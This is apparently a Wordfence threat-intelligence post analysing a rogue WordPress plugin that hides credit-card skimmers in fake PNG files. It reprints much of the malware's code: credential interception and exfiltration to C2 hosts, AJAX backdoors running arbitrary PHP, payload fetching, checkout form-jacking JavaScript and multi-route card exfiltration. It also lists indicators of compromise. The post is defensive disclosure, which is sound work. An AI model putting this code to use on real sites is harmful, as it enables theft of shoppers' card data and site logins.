Rogue WordPress Plugin Conceals Multi-Tiered Credit Card Skimmers in Fake PNG Files

The Wordfence Threat Intelligence Team recently discovered a sophisticated malware campaign targeting WordPress e-commerce sites, specifically those using the WooCommerce plugin. This malware exhibits advanced features including custom encryption methods, fake images used to conceal malicious payloads, a robust persistence layer that allows attackers to deploy additional code on demand, all packaged as a rogue WordPress plugin.

This comprehensive malware sample was shared with us by a Wordfence user on August 21, 2025. Four malware detection signatures were developed and released after undergoing our QA process between August 27, 2025 and September 9, 2025. All Wordfence Premium, Care, and Response customers received these signatures immediately, along with paid Wordfence CLI Users. Users of the free versions of Wordfence and Wordfence CLI received the same signatures after the standard 30-day delay.

As part of our product lineup, we offer security monitoring and malware removal services to our Wordfence Care and Response customers. In the event of a security incident, our incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to our Threat Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin and Wordfence CLI scanner detect over 99% of these samples and indicators of compromise, when using the premium signatures set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of our mission to secure the web by Defense in Depth.


📢 Calling all Vulnerability Researchers and Bug Bounty Hunters! 📢

🚀 Operation: Maximum Impact Challenge! Now through November 10, 2025, earn 2X bounty rewards for all in-scope submissions in software with at least 5,000 active installs and fewer than 5 million active installs. Bounties up to $31,200 per vulnerability. Submit bold. Earn big!

📁 The LFInder Challenge: Refine your LFI hunting skills with an expanded scope. Now through November 24, 2025, all LFI vulnerabilities in software with at least 25 active installs are considered in-scope for all researchers, regardless of researcher tier, AND earn a 30% bonus on all Local File Inclusion vulnerability submissions not already increased by another promotion.


Malware Analysis

The malware presents itself as a malicious WordPress plugin, consisting of two PHP files and two PNG files. The plugin folder and the main plugin file share the same naming convention based on three random words, while the other PHP file in the malicious directory is usually named config.php. Our malware sample is called “license-user-kit” but we have identified several variants, for example:

  • jwt-log-pro
  • cron-environment-advanced
  • json-task-basic
  • access-access-pro
  • share-seo-assistant

All PHP functions and variable names are also generated randomly for each plugin copy (to improve clarity they will be renamed in the code examples). Most text strings are also obfuscated via a common function call that requires a shared key. While this method is easily reversible during source code inspection, it effectively helps bypass some content flagging.

define( 'KW_JIMYBY_XOMIPUTA', 'AIMj7cLvmeXP' );
function fn_obfuscated_text($input, $key) {
  $data = hex2bin($input);
  $output = '';
  for ($i = 0; $i < strlen($data); $i++) {
    $output .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
  }
  return $output;
}

// billing_first_name
fn_obfuscated_text("232021065e0d2b290b0c2a233516230b5a06", KW_JIMYBY_XOMIPUTA);

On activation the malware hides its entry from the WordPress plugin list and table view, to minimize the risk of detection. It also records the IP address and last login time of every user with edit_posts capability (everyone with role Author and above) storing this information in a custom database option and setting a tracking cookie. This cookie ensures persistent user identification, even across session changes or after cookie deletion; as shown later in this post, this cookie will be used to prevent the delivery of skimming code to privileged users, in another attempt to avoid detection.

function fn_log_users() {
  if (!is_user_logged_in()) {
    return;
  }
  $user_obj = wp_get_current_user();
  if (user_can($user_obj, "read") && user_can($user_obj, "edit_posts")) {
    $user_ip = fn_get_user_ip_address();
    if ($user_ip) {
      update_option("wp_user_" . md5($user_ip), time());
    }
    setcookie("pxcelPage_c01002", "1", time() + 30 * 24 * 60 * 60, "/");
    $_COOKIE["pxcelPage_c01002"] = "1";
  }
}

Login Credentials Exfiltration

The malware features a two-step process for exfiltrating login credentials. It captures usernames and passwords when a user enters them (wp_authenticate_user filter) using a cookie as storage, then waits for the actual login (wp_login action) to exfiltrate them, including basic user and website data in the request.

add_filter("wp_authenticate_user", "fn_intercept_credentials", 10, 2);
function fn_intercept_credentials($user_obj, $password) {
  if (is_wp_error($user_obj)) {
    return $user_obj;
  }
  $creds_cookie = "wp_tdata";
  $_COOKIE[$creds_cookie] = base64_encode($password);
  return $user_obj;
}

add_action("wp_login", "exfiltrate_credentials", 10, 2);
function exfiltrate_credentials($user_login, $user_obj) {
  $exfil_server = "hxxps://badping.info/SMILODON/index_b.php?view=";
  $creds_cookie = "wp_tdata";
  if (!isset($_COOKIE[$creds_cookie]))
    return;
  $request_uri = $_SERVER["REQUEST_URI"];
  $user_data = base64_encode($user_login.";"
    . base64_decode($_COOKIE[$creds_cookie]));
  $curl_data = base64_encode($_SERVER["HTTP_HOST"] . ";" 
    . $request_uri . ";" 
    . $user_data . ";127.0.0.1");
  $curl_data = str_replace("+", "%2b", $curl_data);
  if (function_exists("curl_init")) {
    $curl_opts = array(
      // [...]
    );
    $curl_request = curl_init($exfil_server . $curl_data);
    curl_setopt_array($curl_request, $curl_opts);
    @curl_exec($curl_request);
  }
}

AJAX Backdoor Access

The malware establishes a backdoor using two distinct AJAX-based access endpoints, both employing a cookie-based authentication method that circumvents WordPress’s native authentication. The first channel enables the attacker to update the credit card skimmer’s JavaScript payload in two ways: either by setting a cookie to a specific URL for download or by transmitting a raw payload via a POST request. The second channel allows the attacker to execute arbitrary PHP code through a temporary file.

add_action("wp_ajax_e144b88f96e806aa0f5fc6474f6ae1e1", "ajax_endpoint_1");
add_action("wp_ajax_nopriv_e144b88f96e806aa0f5fc6474f6ae1e1", "ajax_endpoint_1");

function ajax_endpoint_1() {
  if (isset($_COOKIE["e144b88f96e806aa0f5fc6474f6ae1e1"])) {
    $skimmer = fn_download_payload($_COOKIE["e144b88f96e806aa0f5fc6474f6ae1e1"]);
    file_put_contents(__DIR__ . "/assets/images/kheqatug.png", $skimmer);
  }
  elseif(isset($_POST["file_content"])) {
    file_put_contents(__DIR__ . "/assets/images/kheqatug.png", $_POST["file_content"]);
  }
  wp_die(0);
}

add_action("wp_ajax_04983487cfdc20f37cc48bdd65ce78b7", "ajax_endpoint_2");
add_action("wp_ajax_nopriv_04983487cfdc20f37cc48bdd65ce78b7", "ajax_endpoint_2");

function ajax_endpoint_2(){
  $md5_password = "d681602ec5233d877b45cf84522878b9";
  if (
    !isset($_COOKIE["3427bcdda05cc99b344d63729caaea86"]) 
    || md5($_COOKIE["3427bcdda05cc99b344d63729caaea86"]) != $md5_password
  ){
    wp_die( 0 );
  }
  if (isset($_COOKIE["04983487cfdc20f37cc48bdd65ce78b7"])){
    $content = fn_decode_payload($_COOKIE["04983487cfdc20f37cc48bdd65ce78b7"]);
    fn_exec_code(fn_custom_base64_decode($content));
    die();
  }elseif(isset($_POST["file_content"])){
    fn_exec_code(fn_custom_base64_decode($_POST["file_content"]));
    die();
  }
  wp_die( 0 );
}

function fn_exec_code($php_code) {
  $sys_temp_dir = sys_get_temp_dir();
  $tempfile = tempnam($sys_temp_dir, "pr_");
  if ($tempfile === false) {
    $tempfile = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 8) . ".php";
    $tempfile = __DIR__ . "/" . $temp;
  }
  if ($tempfile != false) {
    file_put_contents($tempfile, $php_code);
  }
  if($temp && file_exists($tempfile)) {
    update_option("wp_[random_name]", base64_encode($tempfile));
    include $tempfile;
    unlink($tempfile);
  }
}

Multi-Tiered Payloads

Once installed, the malware silently monitors WooCommerce checkout pages using the is_checkout() WordPress function: when a checkout page is prepared, several different JavaScript payloads are injected into the generated page.

The JavaScript payloads are stored within fake PNG images to avoid detection. These fake image files have randomly generated filenames and variable sizes for each installation. Each file starts with a fake PNG header (‰PNG) followed by reversed JavaScript code, which has been encoded using a custom base64 variation. Three distinct fake image files are employed for this purpose:

  • A custom payload (not found in our sample) created via AJAX backdoor
  • A dynamic payload with the main form-jacking logic, updated daily
  • A fallback payload with a static backup copy of the same logic.
$dynamic_payload_file = __DIR__ . "/assets/images/ehybosa.png";
$custom_payload_file = __DIR__ . "/assets/images/kheqatug.png";
$fallback_payload_file = __DIR__ . "/assets/images/bufici.png";
$logged_in_cookie = "pxcelPage_c01002";
$delay = 86400;

if (isset($_COOKIE[$logged_in_cookie]))
  return;

if (file_exists($custom_payload_file)) {
  $custom_content = file_get_contents($custom_payload_file);
  if (!empty($custom_content)) {
    $custom_content = mb_substr($custom_content, 4);
    $decoded = fn_decode_payload($custom_content);
    if ($decoded !== false) {
      echo "<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" 
        data-wp-preserve="%3Cscript%3E%22%20.%20%24decoded%20.%20%22%3C%2Fscript%3E" 
        data-mce-resize="false" data-mce-placeholder="1" class="mce-object mce-object-script" 
        width="20" height="20" alt="&lt;script&gt;" />";
    }
  }
}
// similar dynamic and fallback payloads inclusion

This multi-tiered fallback design allows the attacker to deliver multiple payloads at once, from custom additions tailored to the victim’s website to the most recent version, including a local fallback for additional safety.

The payload is designed to refresh daily, with each request including custom headers for victim fingerprinting and basic authentication.

function fn_update_skimmer() {
  $c2_server = "hxxps://checkerror.info/wp/widget_bad64.txt";
  $httphost = isset($_SERVER["HTTP_HOST"]) 
    ? $_SERVER["HTTP_HOST"] : "unknown";
  $remoteaddr = isset($_SERVER["REMOTE_ADDR"]) 
    ? $_SERVER["REMOTE_ADDR"] : "127.0.0.1";
  $realaddr = fn_real_ip_addr() ? fn_real_ip_addr() : $remoteaddr;
  $serveraddr = isset($_SERVER["SERVER_ADDR"]) 
    ? $_SERVER["SERVER_ADDR"] : "127.0.0.1";
  // [...]  
  $curl_http_headers = array(
    "price: " . $realaddr,
    "merchant: " . $httphost,
    "address: " . $serveraddr,
    // [...]
  );

  // cURL request to $c2_server, returns $new_payload 

  if ($new_payload && preg_match("#^[A-Za-z0-9+/=,\r\n]+$#",$new_payload)) {
    return $new_payload;
  }
  return false;
}

// [...]

$new_payload = fn_update_skimmer();
if ($new_payload !== false) {
  @unlink($dynamic_payload_file);
  file_put_contents($dynamic_payload_file, '‰PNG'.$new_payload, LOCK_EX);
  $decoded = fn_fakepng_decoder($new_payload);
  if ($decoded !== false) {
    echo $decoded;
    return;
  }
}

Credit Card Skimming

Credentials exfiltration schema

The credit card skimming malware analyzed is a highly obfuscated file containing both the skimming code and helper functions. It includes features such as a 3-second timeout on page loading before skimmer activation – designed to prevent conflicts with AJAX-based checkout forms – or a fake credit card validation system that activates when card data is entered – aiming to boost user confidence in the deceptive checkout form.

We also found what seems to be a clipboard-based skimming method, though its associated exfiltration mechanism was not identified, suggesting either ongoing development or the use of other, currently undetected, exfiltration methods.

Once activated, JavaScript event listeners are attached to the checkout forms to intercept card data:

function initializeSkimmer() {
  // Immediately check existing forms
  const existingForm = document.getElementById("checkout-form");
  if (existingForm) {
    attachEventListeners(existingForm);
  }
  // Watch for AJAX-loaded forms (WooCommerce dynamic checkout)
  const observer = new MutationObserver(function() {
    const checkoutForm = document.getElementById("checkout-form") || document.getElementById("woocommerce-checkout");
    if (checkoutForm && !checkoutForm.dataset.skimmerAttached) {
      attachEventListeners(checkoutForm);
      checkoutForm.dataset.skimmerAttached = "true";
    }
  });
  observer.observe(document.body, {
    childList: true,
    subtree: true
  });
}

function attachEventListeners(form) {
  // Find credit card input fields (multiple targets)
  const cardNumberField = form.querySelector('[name*="cc_num"], [name*="statistics_key"]');
  const expiryMonthField = form.querySelector('[name*="cc_exp_m"], [name*="settings_key"]');
  const expiryYearField = form.querySelector('[name*="cc_exp_y"], [name*="settings_value"]');
  const cvvField = form.querySelector('[name*="cc_cid"], [name*="savage_set"]');
  // [...]
}

When a user submits the checkout form, it sends captured data back to the same WordPress page via AJAX POST request:

const cardData = {
  card_number: document.getElementById('cc_num').value,
  expiry_month: document.getElementById('cc_exp_m').value,
  expiry_year: document.getElementById('cc_exp_y').value,
  cvv: document.getElementById('cc_cid').value
};

fetch(window.location.href, {
  method: 'POST',
  body: new URLSearchParams({
    payment: {
      statistics_key: cardData.card_number,
      settings_key: cardData.expiry_month,
      settings_value: cardData.expiry_year,
      savage_set: cardData.cvv
    }
  })
});

Data Exfiltration

The PHP code is designed to intercept the POST request from the checkout form, then prepare and exfiltrate the data to the attacker. To ensure stability across diverse server environments, the malware employs a variety of network request methods. It starts with a standard cURL-based attempt, followed by another request using PHP’s file_get_contents function. Subsequently, it attempts to use cURL via a system shell, and as a final redundancy measure, dispatches a plain email.

if (isset($_POST["payment"])) {
  // Regex patterns to match various credit card field names
  $field_patterns = array(
    "/.*statistics_key.*/" => 1,
    "/.*cc_num.*/" => 1,
    "/.*control_settings.*/" => 1,
    "/.*settings_key.*/" => 2,
    "/.*cc_exp_m.*/" => 2,
    "/.*exp_month.*/" => 2,
    "/.*settings_value.*/" => 3,
    "/.*cc_exp_y.*/" => 3,
    "/.*exp_year.*/" => 3,
    "/.*savage_set.*/" => 4,
    "/.*cc_cid.*/" => 4,
    "/.*stone_set.*/" => 4
  );

  // Extract values from POST data
  $card_number = $exp_month = $exp_year = $cvv = "";
  foreach ($field_patterns as $pattern => $field_type) {
    foreach ($_POST["payment"] as $field_name => $field_value) {
      if (preg_match($pattern, $field_name)) {
        switch ($field_type) {
          case 1: $card_number = $field_value; break;
          case 2: $exp_month = $field_value; break;
          case 3: $exp_year = $field_value; break;
          case 4: $cvv = $field_value; break;
        }
      }
    }
  }

  if ($card_number) {
    // Prepare stolen data
    $stolen_data = $card_number . "|" . $exp_month . "/" . $exp_year . "|" . $cvv;
    if (isset($_COOKIE["_wdata"])) {
      $stolen_data .= "|" . base64_decode($_COOKIE["_wdata"]);
    }
    $encoded_data = base64_encode(str_rot13( $stolen_data . "rn*" 
      . $_SERVER["HTTP_HOST"] . "*"));
    $encoded_data = str_replace("+", "%2b", $encoded_data);

    // Exfiltration: native cURL first, fallbacks to file_get_contents and system cURL 
    $exfil_url = "hxxps://geterror.info/SMILODON/index.php?view=" . $encoded_data;
    $result = curl_exec(curl_init($exfil_url));
    if ($result != "1") {
      file_get_contents($exfil_url);
    }
    if (($result != "1") && (function_exists("exec"))) {
      @exec("curl --insecure " . $exfil_url);
    }

    // Email backup exfiltration
    mail("to.duraku@rambler[.]ru", "bb_".$_SERVER["HTTP_HOST"], $stolen_data);
  }
}

Evidence strongly suggests that the SMILODON string, found in two C&C server URLs, is linked to Magecart Group 12 threat actors.

This connection has been observed since 2021 and is further supported by the coding style and logic presented in this analysis, which aligns with the group’s known characteristics. Among others, the email address provider matches those previously associated with this threat actor, while two domains are hosted on the IP address 121.127.33[.]229 alongside other domains connected to this group’s past phishing and skimming operations.

Indicator of Compromise (IoC)

Type Value Notes
Cookie pxcelPage_c01002 Logged user tracking
Cookie wp_tdata Stolen WP credentials
Cookie _wdata Stolen checkout data
Database option wp_user_[md5(IP)] User tracking
C&C Request hxxps://badping[.]info/SMILODON/index_b.php?view= WP credentials exfiltration
C&C Request hxxps://checkerror[.]info/wp/widget_bad64.txt JavaScript payload update
C&C Request hxxps://geterror[.]info/SMILODON/index.php?view= Checkout data exfiltration
Mail to.duraku@rambler[.]ru Checkout data exfiltration

 

Conclusion

Today’s blog post has unveiled a sophisticated malware campaign targeting WordPress e-commerce sites, characterized by advanced obfuscation techniques, hidden payloads within fake image files, and a resilient multi-tiered skimming infrastructure. The malware’s ability to evade detection, track administrators, exfiltrate login credentials, and deploy dynamic credit card skimmers via AJAX backdoors poses a severe threat to online businesses and their customers. The intricate design and multiple fallback mechanisms demonstrate a high level of technical expertise, ensuring persistence and effective data theft even under varying server conditions.

A comprehensive understanding of these attack vectors is essential for building strong defense strategies against such ongoing and evolving threats. Although our detection capabilities are powerful, we are continuously searching for new malware variants. In the event that Wordfence does not automatically detect these sophisticated malware variants on your site, we ask that you please submit information about the malware to samples@wordfence.com. This will allow us to expand our collection, develop new detection signatures and continue our goal of securing the web.

Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received malware signatures to detect these infected plugins between August 27, 2025 and September 9, 2025. Wordfence free users and Wordfence CLI free users received these signatures after a 30 day delay.

The post Rogue WordPress Plugin Conceals Multi-Tiered Credit Card Skimmers in Fake PNG Files appeared first on Wordfence.

Leave a Comment